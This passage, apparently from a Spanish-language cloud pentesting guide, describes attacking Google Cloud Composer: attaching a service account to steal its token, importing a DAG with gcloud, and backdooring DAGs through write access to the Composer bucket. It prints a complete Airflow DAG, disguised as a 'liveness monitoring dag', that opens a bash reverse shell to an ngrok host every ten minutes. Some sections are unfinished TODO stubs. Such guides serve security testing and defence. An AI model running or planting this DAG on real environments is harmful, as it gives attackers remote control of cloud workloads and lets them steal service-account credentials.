Es posible adjuntar cualquier cuenta de servicio al nuevo entorno de composer con ese permiso. Más tarde podrías ejecutar código dentro de composer para robar el token de la cuenta de servicio.
Agrega el código DAG de python en un archivo e impórtalo ejecutando:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
DAG de shell inverso:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Acceso de escritura al bucket de Composer
Todos los componentes de un entorno de composer (DAGs, plugins y datos) se almacenan dentro de un bucket de GCP. Si el atacante tiene permisos de lectura y escritura sobre él, podría monitorear el bucket y cada vez que se crea o actualiza un DAG, enviar una versión con puerta trasera para que el entorno de composer obtenga de almacenamiento la versión con puerta trasera.
Obtén más información sobre este ataque en:
Importar Plugins
TODO: Ver qué es posible comprometer al subir plugins
Importar Datos
TODO: Ver qué es posible comprometer al subir datos